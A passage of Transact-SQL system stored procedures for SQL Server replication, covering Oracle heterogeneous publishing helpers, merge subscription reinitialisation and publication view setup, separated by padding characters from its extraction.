											@SelectColumnList	= N'OBJECT_NAME',
											@InsTable			= N'#objcheck',
											@InsColumnList		= N'obj'

	IF (@retcode != 0) OR (@@ERROR != 0)
	BEGIN
		RETURN (1)
	END

	IF EXISTS (SELECT obj FROM #objcheck)
	BEGIN
		--  Call the remote routine to drop the publisher - ignore the error
		TRUNCATE TABLE #hquery
		INSERT INTO #hquery (cmd) VALUES (N'{call HREPL_DROPPUBLISHER}')
		EXEC @result = sys.sp_IHquery @publisher
		IF (@result != 0)
		BEGIN
			SET @retcode = 1
		END
	
		-- Drop the helper proc HREPL_DropPublisher
		TRUNCATE TABLE #hquery
		INSERT INTO #hquery (cmd) VALUES (N'DROP PROCEDURE HREPL_DROPPUBLISHER')
		EXEC @result = sys.sp_IHquery @publisher
		IF (@result != 0)
		BEGIN
			SET @retcode = 1
		END
	END
	
	-- Verify HREPL_ExecuteCommand procedure exists
	TRUNCATE TABLE #objcheck
	TRUNCATE TABLE #hquery
	INSERT INTO #hquery(cmd) VALUES ('SELECT OBJECT_NAME FROM ALL_OBJECTS ')
	INSERT INTO #hquery(cmd) VALUES ('WHERE OWNER = ' + QUOTENAME(@owner, '''') + ' ')
	INSERT INTO #hquery(cmd) VALUES ('AND OBJECT_NAME = ''HREPL_EXECUTECOMMAND''')
	INSERT INTO #hquery(cmd) VALUES ('AND OBJECT_TYPE = ''PROCEDURE''')

	EXEC @retcode = sys.sp_ORAremotequery	@Server				= @publisher,
											@SelectColumnList	= N'OBJECT_NAME',
											@InsTable			= N'#objcheck',
											@InsColumnList		= N'obj'

	IF (@retcode != 0) OR (@@ERROR != 0)
	BEGIN
		RETURN (1)
	END

	IF EXISTS (SELECT obj FROM #objcheck)
	BEGIN
		-- Drop helper proc HREPL_ExecuteCommand
		TRUNCATE TABLE #hquery
		INSERT INTO #hquery (cmd) VALUES (N'DROP PROCEDURE HREPL_EXECUTECOMMAND')
		EXEC @result = sys.sp_IHquery @publisher
		IF (@result != 0)
		BEGIN
			SET @retcode = 1
		END
	END

	RETURN(@retcode)
END	
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<FB%Pf0S@ X8
--
-- Name:    
--          sp_enable_heterogeneous_subscription
--          
-- Description: 
--          Enable or disable publication properties for
--			supporting heterogeneous subscriptions.
--  
-- Security: 
--          sysadmin or DBO of publisher db
--
-- Returns:
--      
-- Owner:   
--          <current owner> 
--

create procedure sys.sp_enable_heterogeneous_subscription
(
    @publication	sysname = NULL,
    @publisher		sysname = NULL
) 
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT,
													@publisher_type	= @publisher_type OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_enable_heterogeneous_subscription'
	
	EXEC @retcode = @cmd
					@publication,
					@publisher,
					@publisher_type

	RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`)<2B)0>@ l8
create  procedure sys.sp_reinitmergesubscription
	@publication	sysname	 = 'all',
	@subscriber		sysname	 = 'all',
	@subscriber_db	sysname	 = 'all',
	@upload_first	nvarchar(5) = 'FALSE'
AS
	declare @pubid					uniqueidentifier
	declare @subid					uniqueidentifier
	declare @subscription_type		int
	declare @reinit_bit				int
	declare @publisher				sysname
	declare @publisher_db			sysname
	declare @distribdb				sysname
	declare @distributor			sysname
	declare @distproc				nvarchar(300)
	declare @retcode				int
	declare @uploadbit				bit
	declare @pubname				sysname
	declare @subdb					sysname 
	declare @subname				sysname
	declare @subscription_qualified bit
	declare @subscriber_server      sysname
	
	/* 
	** Security Check.
	** We use login_name stored in syssubscriptions to manage security 
	*/
	exec @retcode = sys.sp_MSreplcheck_publish
	if @@ERROR <> 0 or @retcode <> 0
		return(1)

	set nocount on
	/*
	** Replace 'all' with '%'
	*/
	set @subscription_qualified = 0

	/* make sure current database is enabled for merge replication */
	exec @retcode=sys.sp_MSCheckmergereplication
	if @@ERROR<>0 or @retcode<>0
		return (1)

	if LOWER(@publication) = 'all'
		SELECT @publication = '%'

	if LOWER(@subscriber) = 'all'
		SELECT @subscriber = '%'

	if LOWER(@subscriber_db) = 'all'
		SELECT @subscriber_db = '%'

	select @publisher = publishingservername()
	select @publisher_db=db_name()
	
	/*
	** At publisher side, publication name is unique
	*/
	IF NOT EXISTS (SELECT * FROM dbo.sysmergepublications 
		WHERE name LIKE @publication)
		BEGIN
		IF @publication = '%'
				RAISERROR (14008, 11, -1)
		ELSE
				RAISERROR (20026, 11, -1, @publication)
		RETURN (1)
		END

	/* if snapshot has not been ran yet, there is no point doing reinitialization */
	if not exists (select * from dbo.sysmergepublications where name like @publication and snapshot_ready>0)
		return (0)
		
	if LOWER(@upload_first collate SQL_Latin1_General_CP1_CS_AS) = 'true'
		select @uploadbit  = 1
	else
		select @uploadbit  = 0

    /* upload_first is not supported for publications with compat level of 30 or lower. */
    if @uploadbit = 1 and exists (select * from dbo.sysmergepublications where name like @publication and 
        sys.fn_MSmerge_islocalpubid(pubid) = 1 and
        backward_comp_level < = 30)
    begin
		RAISERROR (20730, 11, -1)
		RETURN (1)    
    end

	EXECUTE @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor OUTPUT, @distribdb	  = @distribdb OUTPUT
		IF @@ERROR <> 0 or @retcode <> 0
				return (1)

	SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribdb)) + '.dbo.sp_MSrefresh_anonymous '

	BEGIN TRAN
	SAVE TRAN reinitsubscription

	if @subscriber = '%' and @subscriber_db = '%'
	begin
		exec @retcode = @distproc @publication, @publisher, @publisher_db 
		if @@ERROR<>0 or @retcode<>0
				return (1)
				
		declare reinit_all CURSOR LOCAL FAST_FORWARD FOR 
			select name from dbo.sysmergepublications where LOWER(publisher)=LOWER(publishingservername()) and 
				publisher_db=db_name() and snapshot_ready>0 and name like @publication
		For READ only
		open reinit_all
		fetch reinit_all into @pubname
		while (@@fetch_status<>-1)
		begin
			exec @retcode = sys.sp_MSreinitmergepublication @pubname, @uploadbit
			if @@ERROR<>0 or @retcode<>0
			begin
				close reinit_all
				deallocate reinit_all
				return (1)
			end
			
			fetch next from reinit_all into @pubname
		end
		close reinit_all
		deallocate reinit_all
	end

	SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribdb)) + '.dbo.sp_MSmarkreinit '

	
	
	Declare SYN_CUR CURSOR LOCAL FAST_FORWARD FOR 
		select subs.subid, subs.subscription_type, pubs.publisher, pubs.publisher_db, pubs.name, 
				subs.subscriber_server, subs.db_name
			from dbo.sysmergepublications pubs, dbo.sysmergesubscriptions subs
				where pubs.name LIKE  @publication 
					 and UPPER(pubs.publisher)=UPPER(publishingservername()) 
					 and pubs.publisher_db=db_name()
					AND pubs.pubid=subs.pubid
					AND subs.pubid<>subs.subid
					AND subs.status <>0 --for unsynced subscription, there is no need to reinit.
					AND ((@subscriber_db = N'%') or (subs.db_name = @subscriber_db))
					AND ((@subscriber = N'%') or (UPPER(subs.subscriber_server) = UPPER(@subscriber) collate database_default))
	FOR READ ONLY
	open SYN_CUR
	fetch SYN_CUR into @subid, @subscription_type, @publisher, @publisher_db, @pubname, @subscriber_server, @subdb
	while (@@fetch_status<>-1)
	BEGIN  
	-- Security check 
		if is_member('db_owner')<>1 and
		   not exists (select * from dbo.MSmerge_replinfo where suser_sname(suser_sid()) = login_name and repid = @subid)
		begin
			fetch next from SYN_CUR into @subid, @subscription_type, @publisher, @publisher_db, @pubname, @subscriber_server, @subdb		  
			continue
		end
	
		if @subscription_type = 0 
			 update dbo.sysmergesubscriptions set schemaversion=0, recgen = NULL, recguid=NULL, sentgen=NULL, sentguid = NULL
				  where subid=@subid and schemaversion is NOT NULL
		else
			 update dbo.sysmergesubscriptions set schemaversion= -1, recgen = NULL, recguid=NULL, sentgen=NULL, sentguid = NULL
				  where subid=@subid and schemaversion is NOT NULL
		
		if @@rowcount <> 0
		begin
			if @uploadbit = 1
				update dbo.sysmergesubscriptions set status = 5 where subid=@subid
			else
			begin
				-- if they have previously requested reinit with upload first=true, status
				-- has been changed to 5. We have lost the info about the status before the 
				-- previous reinit. Use last_sync_status to determine whether the new status
				-- should be 0 or 1.
				update dbo.sysmergesubscriptions set status = 
					case when last_sync_status is null then 0 else 1 end
				where subid=@subid
				and status = 5
			end
			if @@ERROR<>0
				goto Failure
		end
			
		-- make sure we don't falsely use transitive recgen optimization
		update dbo.sysmergesubscriptions
			set replicastate= newid() where subid = @subid

		-- 0 for push and -1 for pull
		exec @distproc @publisher, @publisher_db, @pubname, @subscriber_server, @subdb, 1
		if @@ERROR<>0
		BEGIN
			goto Failure
		END			

		set @subscription_qualified = 1
		fetch next from SYN_CUR into @subid, @subscription_type, @publisher, 
			@publisher_db, @pubname, @subscriber_server, @subdb		  
	END
	close SYN_CUR
	deallocate SYN_CUR
	commit TRAN

	/* If subscription has not been reinited possibly because it is invalid or anonymous, return a warning */
	if @subscription_qualified = 0 and @subscriber <> '%' and @subscriber_db <> '%'
	begin
		RAISERROR(21719, 10, -1, @subscriber, @subscriber_db)
	end
		
	return (0)
Failure:
	close SYN_CUR
	deallocate SYN_CUR
	if @@TRANCOUNT > 0
	begin
		ROLLBACK TRANSACTION reinitsubscription
		COMMIT TRANSACTION
	end
	return (1)

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`S <%Bl0㸀 8
create function sys.fn_MSdetermine_related_articles 
(
@art_nick int
)
returns @related_articles TABLE
(
	nickname int
) as
begin
    declare @progress_table table (nickname int, parent_nickname int null)
    declare @top_level_articles table (nickname int)
    
    -- First find the ones that are top-level parents.
    -- Top-level parents are considered to have themselves as their parents.
    -- Save off such articles in @top_level_articles
    insert into @top_level_articles (nickname) values(@art_nick)
    insert into @progress_table (nickname) 
        select distinct nickname from @top_level_articles

    -- For each nickname in @progress_table which still has parent_nickname = NULL in @progress_table,
    -- find the top-level parent.
    while exists (select * from @progress_table where parent_nickname is NULL)
    begin
        declare @keep_traversing_upwards bit
        
        -- get one article - start with the one with min nickname
        insert into @related_articles (nickname) 
            select min(nickname) from @progress_table                            
                where parent_nickname is NULL
                
        set @keep_traversing_upwards = 1
        
        while @keep_traversing_upwards = 1
        begin
            -- work your way up until you find the top-level parent.
            insert into @related_articles(nickname)
                select join_nickname from dbo.sysmergesubsetfilters
                where art_nickname in (select nickname from @related_articles)
                and join_nickname not in (select nickname from @related_articles)
                and (filter_type & 1) = 1
            
            if @@rowcount <> 0
                set @keep_traversing_upwards = 1
            else
                set @keep_traversing_upwards = 0
        end
        
        update @progress_table 
            set parent_nickname = 
                (select top 1 nickname from @top_level_articles 
                    where nickname in (select nickname from @related_articles))
        where nickname in (select nickname from @related_articles)
	
    end

	delete from @progress_table 
    insert into @progress_table (nickname) 
        select distinct nickname from @top_level_articles

    while exists (select * from @progress_table where parent_nickname is NULL)
    begin
        declare @keep_traversing_downwards bit
        
        -- get one article - start with the one with min nickname
        insert into @related_articles (nickname) 
            select min(nickname) from @progress_table                            
                where parent_nickname is NULL
                
        set @keep_traversing_downwards = 1
        
        while @keep_traversing_downwards = 1
        begin
            -- work your way up until you find the top-level parent.
            insert into @related_articles(nickname)
                select art_nickname from dbo.sysmergesubsetfilters
                where join_nickname in (select nickname from @related_articles)
                and art_nickname not in (select nickname from @related_articles)
                and (filter_type & 1) = 1
            
            if @@rowcount <> 0
                set @keep_traversing_downwards = 1
            else
                set @keep_traversing_downwards = 0
        end
        
        update @progress_table 
            set parent_nickname = 
                (select top 1 nickname from @top_level_articles 
                    where nickname in (select nickname from @related_articles))
        where nickname in (select nickname from @related_articles)
    end
    return 
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`H<-W03Ǘ D89h90o 
8
--
-- Name:    
--          sp_ORAgetversion
--          
-- Description: 
--          Oracle logic to retrieve version of server
--  
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Version string
--      
-- Owner:   
--          <current owner> 

create procedure sys.sp_ORAgetversion
(
	@publisher	sysname,
	@version	sysname OUTPUT
)
as
begin
	DECLARE @publisher_dbms		sysname
	DECLARE @publisher_version	sysname
	DECLARE	@InsColumnList		nvarchar(2000)
	DECLARE	@SelectColumnList	nvarchar(2000)
	DECLARE	@publisher_id		int
	DECLARE @retcode			int

	SET @retcode = 0
	SET @version = NULL

	SET NOCOUNT ON 

	SELECT @publisher_id = svr.srvid
	FROM   master.dbo.sysservers svr
	JOIN   msdb.dbo.MSdistpublishers dist ON svr.srvname = dist.name
	WHERE  UPPER(dist.name collate database_default) = UPPER(@publisher) collate database_default

	IF @publisher_id IS NULL
	BEGIN
        RAISERROR (14080, 11, -1, @publisher)
		RETURN (1)
	END

	-- Read cached version string
	SELECT	@version = version
	FROM	dbo.IHpublishers
	WHERE	publisher_id = @publisher_id

	-- If the cached version is NOT NULL, return it
	IF @version IS NOT NULL
	BEGIN
		RETURN (0)
	END

	-- If the cached version is NULL, obtain the version with a remote call to the publisher

	-- Define sp_ORAremotequery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)

	-- Define temp table
  	CREATE TABLE #version
	(
		version		nvarchar(64)
	)
	
	-- Set publisher DBMS and version
	SELECT	@publisher_dbms		= N'ORACLE',
			@publisher_version	= NULL

	-- populate a temp table with a list of table columns from the Oracle publisher
	SELECT @InsColumnList    = 'version'
	SELECT @SelectColumnList = 'VERSION'

	INSERT INTO #hquery(cmd) VALUES('SELECT VERSION')
	INSERT INTO #hquery(cmd) VALUES('FROM PRODUCT_COMPONENT_VERSION')
	INSERT INTO #hquery(cmd) VALUES('WHERE UPPER(PRODUCT) LIKE ''%ORACLE%''')
	
	EXEC @retcode = sp_ORAremotequery 
					@Server				= @publisher,
					@SelectColumnList	= @SelectColumnList,
					@InsTable			= '#version',
					@InsColumnList		= @InsColumnList

	IF @@ERROR != 0 OR @retcode != 0
	BEGIN
		-- If remote query fails, default to version 9.2
		SELECT	@version = N'9.2'
	END
	ELSE
	BEGIN
		-- Update version tag
		SELECT	@version = version
		FROM	#version

		UPDATE	dbo.IHpublishers
		SET		version = v.version
		FROM	#version v,
				IHpublishers ihp
		WHERE	ihp.publisher_id = @publisher_id
	END

	DROP TABLE #version
	DROP TABLE #hquery

	RETURN (0)
END
0'@ 8
--
-- Name:
--		sp_CheckOracleAdminPrivileges
--
-- Description:
--		Validate admin privileges needed for publishing (Oracle specific)
--
-- Inputs:
--		@publisher		== publisher name
--		@login			== replication user login
--		@password		== replication user password
--		@provider		== Oracle OLEDB provider 
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		internal
--
-- Notes:
--		Called by sp_ORAcheckpublisher to validate login authorizations.
--		Note:  If the logic in sp_ORACheckAdminPrivileges changes, make those
--		       same changes to this stored procedure. 
--
CREATE PROCEDURE sys.sp_CheckOracleAdminPrivileges
(
	@publisher		sysname,
	@login			sysname,
	@password		sysname,
	@provider		sysname
)
AS
BEGIN

	SET NOCOUNT ON
	SET ANSI_WARNINGS ON

	DECLARE	@command		nvarchar(MAX)
	DECLARE	@retcode		int
	DECLARE @grantsCheck		int

	-- Define #grants support table
	create table #grants
	(
		gcheck	nchar(3),
		value	int
	)

	-- Populate a temp table with the permission checks
	SELECT @command = N'INSERT INTO #grants SELECT * FROM OPENROWSET( ' + QUOTENAME(@provider,'''') +
		N' ,' + QUOTENAME(@publisher,'''') + N'; ' + QUOTENAME(@login,'''') +
		N'; ' + QUOTENAME(@password,'''') + N', ' + 
		N'''SELECT ''''ALL'''', COUNT(*) ' +
		N'FROM SESSION_PRIVS SP ' +
		N'WHERE SP.PRIVILEGE IN ' +
		N'(''''CREATE PROCEDURE'''', ' +
		N' ''''CREATE PUBLIC SYNONYM'''', ' +
		N' ''''CREATE SEQUENCE'''', ' +
		N' ''''DROP PUBLIC SYNONYM'''', ' +
		N' ''''CREATE SESSION'''', ' +
		N' ''''CREATE TABLE'''', ' +
		N' ''''CREATE VIEW'''', ' +
		N' ''''CREATE ANY TRIGGER'''') ' +
		N'UNION ' +
		-- Check to make certain that some grants were made explicitly to admin user or PUBLIC
		N'SELECT ''''EXP'''', COUNT(*) ' +
		N'FROM USER_SYS_PRIVS RSP ' +
		N'WHERE RSP.PRIVILEGE IN ' +
		N'(''''CREATE TABLE'''', ' +
		N'''''CREATE VIEW'''', ' +
		N'''''CREATE ANY TRIGGER'''') ' +
		N'AND (RSP.USERNAME = USER OR RSP.USERNAME = ''''PUBLIC'''') ' +
		N'UNION ' +
		-- Check to for allocated quota in some tablespace	
		N'SELECT ''''QTA'''', COUNT(*) ' +
		N'FROM USER_TS_QUOTAS UQ ' +
		N'WHERE UQ.MAX_BYTES IS NOT NULL ' +
		N'AND NOT UQ.MAX_BYTES = 0 ' +
		N'UNION ' +
		-- Check for 'PUBLIC' has been explicitly granted 'UNLIMITED TABLESPACE'
		N'SELECT ''''UPT'''', COUNT(*) ' +
		N'FROM USER_SYS_PRIVS RSP ' +
		N'WHERE RSP.PRIVILEGE = ''''UNLIMITED TABLESPACE'''' ' +
		N'AND (RSP.USERNAME = USER OR RSP.USERNAME = ''''PUBLIC'''')'')' 

	EXEC (@command)
	IF  @@error <> 0
	BEGIN
		RAISERROR (21683, 16, -1, @publisher)
		RETURN (1)
	END

	-- Verify grant checks
	-- 1.  All required privileges (8)
	-- 2.  Explicit privileges (3)
	-- 3.  Quota space or unlimited tablespace
	SELECT	@grantsCheck =	CASE
					WHEN	(G1.value = 8) AND
						(G2.value = 3) AND
						(
							(G3.value > 0) OR
							(G4.value = 1)
						) THEN 1
					ELSE	0
				END
	FROM	#grants G1,
		#grants G2,
		#grants G3,
		#grants G4
	WHERE	G1.gcheck = 'ALL'
	  AND	G2.gcheck = 'EXP'
	  AND	G3.gcheck = 'QTA'
	  AND	G4.gcheck = 'UPT'

	IF @grantsCheck <> 1
	BEGIN
		RAISERROR (21684, 16, -1, @publisher)
		RETURN (1)
	END

	RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!/`<(B
Uv$<create procedure sys.sp_MSpublicationview(
    @publication sysname,
    @force_flag int = 0,  -- force_flag = 1 : pub-wide mode, force_flag = 2 : article mode
    @max_network_optimization bit = 0,
    @articlename sysname = NULL
    ) AS
    declare @pubid  uniqueidentifier
    declare @artid  uniqueidentifier
    declare @join_articlename   nvarchar(270)
    declare @join_viewname nvarchar(270)
    declare @join_before_view	nvarchar(270)
    declare @before_name nvarchar(270)
    declare @before_viewname	nvarchar(270)
    declare @unqual_sourcename	nvarchar(270)
    declare @unqual_sourcename2	nvarchar(540)
    declare @article 	nvarchar(270)
    declare @art_nick 	int
    declare @join_nick 	int
    declare @join_filterclause	nvarchar(1000)
    declare @bool_filterclause	nvarchar(4000)
    declare @bool_filterclause_modified	 nvarchar(4000)
    declare @view_rule 	nvarchar(max)
    declare @before_view_rule	nvarchar(max)
    declare @partition_view_rule nvarchar(max)
    declare @partition_deleted_view_rule nvarchar(max)
    declare @partition_inserted_view_rule nvarchar(max)
    declare @before_objid int
    declare @article_level int
    declare @progress 	int
    declare @art  int
    declare @viewname 	nvarchar(270)
    declare @procname 	nvarchar(300)
    declare @source_objid int
    declare @source_object nvarchar(270)
    declare @sync_objid 	int
    declare @bitset  int
    declare @permanent 	int
    declare @temporary 	int
    declare @filter_id 	int
    declare @filter_id_str nvarchar(10)
    declare @guidstr nvarchar(40)
    declare @pubidstr nvarchar(40)
    declare @rgcol  nvarchar(270)
    declare @view_type 	int
    declare @belongsname nvarchar(270)
    declare @join_nickstr nvarchar(10)
    declare @unqual_jointable	nvarchar(270)  
    declare @retcode 	smallint
    declare @hasguid 	int
    declare @vertical_partition int
    declare @join_unique_key	int
    declare @simple_join_view	int
    declare @join_filterid int
    declare @allhaveguids int
    declare @command 	nvarchar(max)
    declare @objid  int
    declare @owner  nvarchar(270)
    declare @table  nvarchar(270)
    declare @quoted_obj 	nvarchar(290)
    declare @quoted_rowguid nvarchar(290)
    declare @quoted_partition_view	nvarchar(290)
    declare @before_rowguidname sysname
    declare @snapshot_ready int
    declare @columns 	varbinary(128)
    declare @column_list nvarchar(max)
    declare @colname 	nvarchar(270)
    declare @colid  int
    declare @dynamic_filters	bit
    declare @alias_for_sourceobject sysname
    declare @prefixed_column_list	nvarchar(max)
    declare @partition_view_id	int
    declare @partition_view_name nvarchar(270), @logical_record_view nvarchar(270)
    declare @joinart_partition_view_name nvarchar(270)
    declare @use_partition_groups smallint, @dynamic_filters_function_list nvarchar(500)
    declare @partition_column_list nvarchar(max)
    declare @join_view_id int, @joinart_partition_view_id int, @join_before_view_id int
    declare @publication_number smallint

    -- Security check
    exec @retcode= sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0 return (1)

    set @progress        = 1
    set @article_level    = 0
    set @permanent        = 1
    set @temporary        = 2
    set @allhaveguids    = 1
    set @before_rowguidname = NULL

    /*
    ** Only legal publisher can run this stored procedure
    */
    set nocount on
    /* make sure current database is enabled for merge replication */
    exec @retcode=sys.sp_MSCheckmergereplication
    if @@ERROR<>0 or @retcode<>0
        return (1)

    select @pubid = pubid, @snapshot_ready = snapshot_ready, @dynamic_filters = dynamic_filters,
    @use_partition_groups = use_partition_groups, @dynamic_filters_function_list = dynamic_filters_function_list,
    @publication_number = publication_number
    FROM dbo.sysmergepublications 
    WHERE name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name() 
    
    IF @pubid IS NULL
    BEGIN
        RAISERROR (20026, 11, -1, @publication)
        RETURN (1)
    END

    select @table=object_name(objid) from dbo.sysmergearticles where pubid=@pubid and (columns is NULL or columns = 0x00)
    if @table is not NULL
    begin
        raiserror(21318, 16, -1, @table)
        return (1)
    end

    -- If snapshot is already ready, views are good.  Don't drop and recreate as someone
    -- might be using them.
    
